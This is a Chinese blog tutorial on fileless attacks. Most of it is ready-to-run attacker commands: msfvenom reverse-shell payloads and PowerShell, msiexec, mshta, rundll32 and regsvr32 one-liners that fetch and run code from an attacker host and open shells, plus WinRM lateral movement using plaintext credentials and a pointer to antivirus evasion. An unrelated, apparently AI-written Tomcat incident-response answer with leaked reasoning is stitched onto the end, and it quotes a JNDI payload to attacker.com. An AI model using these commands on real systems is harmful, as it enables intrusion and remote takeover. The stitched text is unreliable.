无文件落地攻击

文章前言

所谓的"无文件落地攻击"是指恶意程序文件不直接落地到目标系统的磁盘空间中的一种攻击手法,常用于逃避传统的安全检测机制,本篇文章将就此进行简要介绍几种目前比较流行的无文件落地攻击手法。

常见技巧
powershell

PowerShell 是一种跨平台的任务自动化和配置管理框架,由命令行管理程序和脚本语言组成,与大多数接受并返回文本的shell不同,PowerShell 构建在 .NET 公共语言运行时(CLR)的基础之上,接受并返回.NET 对象,这一根本上的改变引入了全新的自动化工具和方法。

PowerShell cmdlet旨在处理对象,对象是结构化信息,不仅仅是屏幕上出现的字符串,命令输出会始终包含你在需要时可使用的额外信息,如果以前使用过文本处理工具来处理数据,那么在PowerShell中使用时,会发现它们的行为有所不同,在大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据的各部分。

Powershell的强大功能一方面为Windows平台开发人员提供了便捷性,但同时也为安全研究人员打开了一条新的道路,下面我们简单的介绍一下如何通过powershell来实现无文件落地攻击,具体的步骤如下:

Step 1:使用Msfvenom生成一个攻击载荷


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f psh-reflection >shell.ps1

Step 2:在msf中启动监听

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.174.129
LHOST => 192.168.174.129
set LPORT 4444
set ExitOnSession false
exploit -j -z

Step 3:使用python启动一个简易的Web服务器用于托管shell.exe


python2 -m SimpleHTTPServer 1234

Step 4:之后在目标主机中使用powershell执行以下命令,实现无文件落地攻击

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.129:1234/shell.ps1'))"

Step 5:之后再web服务器中收到一条请求记录

Step 6:在MSF端成功收到反弹的shell

msiexec

msiexec.exe属于系统进程,是Windows Installer的一部分,用于安装Windows Installer安装包(MSI),对系统的正常运行非常重要,一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大,我们亦可以使用其作为无文件落地的媒介,下面举例说明:

Step 1:使用Msfvenom构造一个恶意的msi程序


msfvenom -p windows/exec CMD="powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.174.129 -p 6666 -e cmd" -f msi > evil.msi

Step 2:使用python开启一个简易的web服务器用于托管msi载荷

Step 3:在攻击主机上使用nc监听端口

nc -lvp 6666

Step 4:在目标主机中执行以下命令实现无文件落地执行载荷

msiexec /q /i http://192.168.174.129:1234/evil.msi

Step 5:之后再web端成功接收到请求记录,同时在NC端返回cmd命令交互

mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件,我们可以在本地构建hta文件,之后通过目标主机的mshta来远程下载并执行,从而实现无文件落地攻击,下面是具体的步骤:

Step 1:使用msf的exploit/windows/misc/hta_server模块进行测试

Step 2:在目标主机上直接执行以下命令实现无文件落地攻击

mshta.exe http://192.168.174.129:8888/OqD8kxY2Z.hta

rundll32

Rundll32.exe,即"执行32位的DLL文件",它是一个Microsoft二进制文件,其主要功能是以命令行的方式调用动态链接程序库,系统中还有一个Rundll64.exe文件,它的意思是"执行64位的DLL文件",这两个是病毒软件制作者的最爱,也是在以往病毒分析报告中出现最多的应用媒介,Rundll32.exe的使用方法如下:

Rundll32.exe DLLname,Functionname Arguments

参数说明:

DLLname:需要执行的DLL文件名Functionname:需要执行的DLL文件的具体引出函数Arguments:函数的具体参数

下面我们就Rundll32.exe在无文件落地攻击中的利用方式进行介绍,具体方法如下(至于进程隐藏有兴趣的可以自我查找一番):   Step 1:运行JSRat监听本地5678端口

./JSRat.py -i 192.168.174.129 -p 5678

Step 2:访问client comand连接客户端执行命令

Step 3:将上述命令复制到目标主机上执行

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.129:5678/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Step 4:成功反弹shell回来

regsvr32

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行,WinXP及以上系统的regsvr32.exe在windows\system32文件夹下,2000系统的regsvr32.exe在winnt\system32文件夹下,我们可以通过该命令来实现无文件落地攻击,和上面类似这里也借助JSRat来实现,首先我们在本地运行JSRat监听本地5678端口:

Step 1:运行JSRat监听本地5678端口

./JSRat.py -i 192.168.174.129 -p 5678

Step 2:访问client comand连接客户端执行命令

Step 3:将上述命令复制到目标主机上执行

regsvr32.exe /u /n /s /i:http://192.168.174.129:5678/file.sct scrobj.dll

Step 4:成功反弹shell回来

知识拓展

这里介绍一种在内网中常用的无文件落地攻击方法——WinRM无文件落地攻击!!!

WinRM

WinRM是Windows Remote Managementd的缩写,是一种允许管理员远程执行系统管理任务的服务,通信通过http(5985)或https soap(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证,在内网渗透中不仅可以用于横向移动,也可以用于无文件落地攻击提升自我的隐匿性。

测试环境
  • 域内主机:Windows Server 2012(192.168.174.2)

  • 域内主机:Windows Server 2008 R2(192.168.174.4)

  • 攻击主机:Kali Linux(192.168.174.129,这里省去了内网穿透)

实验目的

在Kali主机中通过MSF框架创建后门文件,之后将其传送到我们已经控制的域内主机(windows server 2008 R2)中,之后在另一域内主机Windows Server 2012中通过WinRM实施无文件攻击,最终返回一个新的具备较高隐藏度的Windows Sever 2012的shell给我们的攻击主机,以供对内网进行深入拓展和利用

攻击步骤

Step 1:在攻击主机中通过msfvenom创建后门文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f exe >shell.exe

Step 2:启动MSF框架并设置监听

Step 3:将shell.exe文件传送到Windows Server 2008 R2的c盘

Step 4:开启Windows Server 2012中的WinRM

winrm quickconfig

Step 5:之后在Windows Server 2012中尝试通过IPC$链接Windows Server 2008 R2

net use \\192.168.174.4\ipc$ "test@1233" /user:testuser

Step 6:之后开启Windows Server 2008 R2中的文件共享权限

Step 7:在Windows Server 2012中执行以下命令来实现无文件落地攻击

winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.174.4\c\shell.exe"}

Step 8:成功反弹shell到MSF中

文末小结

无文件落地攻击的方法与技巧多种多样,自然不局限与上面的几种,当然有时候如果要真的提高自身的隐匿程度以及实现免杀等技术时可以结合白名单以及一些Windows系统应用文件的特性,例如通过Windows Defender自带的命令执行工具"MpCmdRun.exe"来实现远程下载恶意文件并执行达到CS上线的目的,更多的方法与技巧尽在探索中......

<think>好的,现在我需要帮助用户找到Tomcat日志中的文上传点,尤其是他们已经发现云主机中有恶意文被隔离,这些文落地为.tmp文。用户之前已经询问过如何找到攻击上传点,现在他们遇到了具体的情况,需要进一步指导。 首先,用户提到恶意文已经被隔离,并且变成.tmp文。这可能意味着攻击者上传了临时文,但可能没有正确清理。我需要考虑攻击者可能使用的上传点,通常是通过Web应用的上传功能,或者利用了某些漏洞上传文。 接下来,我需要回顾之前的回答,看看是否有遗漏或者需要补充的地方。之前的回答主要围绕日志分析、时间筛选、异常模式、堆栈跟踪和工具使用。现在用户的情况更具体,需要结合恶意文的存在来定位上传点。 可能的步骤包括: 1. **分析恶意文的属性和路径**:查看.tmp文的存放路径,确定上传的可能位置。如果文在特定目录下,比如上传目录,可以检查对应的应用上传功能是否有漏洞。 2. **结合日志中的上传请求**:在访问日志中查找上传请求,比如POST方法到特定URL,或者带有文上传参数(如Content-Disposition: form-data)。 3. **检查应用的上传功能**:查看Web应用中是否存在文上传接口,是否有安全措施(如文类型检查、大小限制、重命名等),是否存在已知漏洞。 4. **关联时间戳**:恶意文的创建时间与日志中的请求时间是否匹配,找到对应的请求记录,进而定位上传点。 5. **检查是否有漏洞利用迹象**:比如利用Struts2、Spring等框架漏洞的上传请求,或者利用Webshell上传的常见路径。 6. **查看错误日志**:是否有上传过程中的异常,比如文类型不符、大小超限等错误,这些可能帮助找到上传点。 需要注意,用户可能对Tomcat和日志分析有一定了解,但需要更具体的步骤来定位问题。需要确保回答清晰,分步骤,并提供具体的命令示例,如grep查找特定关键字,检查上传目录权限等。 此外,用户可能想知道如何防止未来攻击,所以可能需要提及加固措施,如限制上传目录执行权限,检查文类型等,但当前问题主要是定位上传点,所以重点放在分析现有日志和文信息上。 还需要考虑是否有第三方组或框架被利用,比如使用了老旧的上传组,或者未更新的库存在漏洞。用户可能需要检查这些方面。 最后,确保回答结构清晰,步骤明确,结合用户的具体情况(.tmp文的存在)给出针对性建议。</think>--- 当Tomcat日志显示大量攻击且云主机已发现恶意`.tmp`文被隔离时,建议从以下关键方向排查文上传点: --- ### 一、**分析恶意文的路径与特征** 1. **定位文存储路径** - 查看被隔离的`.tmp`文存储目录(例如 `/tmp`、`/var/tmp` 或应用自定义上传目录),确认路径是否与Web应用的文上传功能相关。 - 示例命令: ```bash # 查看临时文属性及路径 ls -l /path/to/quarantined/file.tmp # 查找最近修改的临时文 find /path/to/tomcat/webapps -name "*.tmp" -mtime -1 ``` 2. **检查文名与内容** - 观察文名是否包含随机字符(如 `a3f1x.tmp`),或内容是否包含Webshell特征(如 `eval(`、`Runtime.getRuntime()` 等)。 - 示例命令: ```bash # 快速检查文内容是否包含危险函数 grep -E "eval\(|Runtime.getRuntime\(|bash -i" /path/to/file.tmp ``` --- ### 二、**从Tomcat日志关联攻击请求** 1. **筛选上传请求** - 在 `access_log` 中搜索 `POST` 请求,重点关注上传接口的URL路径(如 `/upload`、`/file/upload` 或框架默认路径)。 - 示例命令: ```bash # 过滤POST请求并显示路径和文大小 grep "POST" /path/to/access_log | awk '{print $7, $10}' ``` 2. **匹配时间戳与文生成时间** - 将恶意文的创建时间与日志中的请求时间对比,定位可疑请求。 - 示例命令: ```bash # 按文修改时间过滤日志(假设文在 10:00-11:00 生成) grep "2023-10-01 10:" /path/to/access_log | grep "POST" ``` 3. **查找漏洞利用特征** - 搜索日志中是否包含以下特征: - **路径遍历**:如 `/../`、`%2e%2e/` - **Webshell关键字**:如 `cmd.jsp`、`shell.jsp` - **框架漏洞**:如 `Struts2`、`Spring` 的漏洞利用路径(`/struts2-showcase/`) - 示例命令: ```bash # 查找可能包含路径遍历的请求 grep "%2e%2e" /path/to/access_log # 查找.jsp/.jspx文上传请求 grep "\.jsp" /path/to/access_log | grep "POST" ``` --- ### 三、**检查Web应用的上传功能** 1. **定位代码中的上传接口** - 检查应用中所有文上传功能的代码(如Servlet、Spring Controller、JSP页面),确认是否有未过滤文类型或目录权限过高的逻辑。 - 常见风险代码示例: ```java // 风险:未校验文类型,直接保存到Web目录 file.transferTo(new File("/var/www/uploads/" + fileName)); ``` 2. **验证安全防护措施** - 检查是否对文扩展名、MIME类型、文头进行了白名单校验。 - 确认上传目录是否禁用了脚本执行权限(如通过Nginx配置 `location ^~ /uploads/ { deny all; }`)。 --- ### 四、**扩展排查方向** 1. **检查中间配置漏洞** - Tomcat默认允许直接部署WAR文攻击者可能通过 `PUT` 或 `POST` 请求上传恶意WAR包。 - 搜索日志中的 `PUT` 请求: ```bash grep "PUT" /path/to/access_log | grep "\.war" ``` 2. **分析漏洞利用链** - 如果攻击者通过反序列化漏洞(如 `Log4j`)上传文,需结合 `catalina.out` 中的异常堆栈定位入口点。 - 示例日志特征: ```log Caused by: java.lang.RuntimeException: ${jndi:ldap://attacker.com/exp} ``` --- ### 五、**应急建议** 1. **临时阻断攻击** - 通过云主机安全组或WAF封禁攻击源IP。 - 关闭非必要的文上传功能。 2. **长期加固** - 上传目录设置为不可执行(`chmod -x /uploads`)。 - 使用随机文名存储上传文(如UUID),避免路径预测。 --- 通过上述步骤,可逐步定位到攻击者利用的具体上传接口及漏洞点。若发现代码层问题,需及时修复并更新补丁。 --- **--相关扩展问题--** 1. 如何通过日志分析还原攻击者上传Webshell的完整过程? 2. Tomcat服务器如何配置才能禁止非法文上传? 3. 如何通过文哈希比对确认恶意文的来源?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值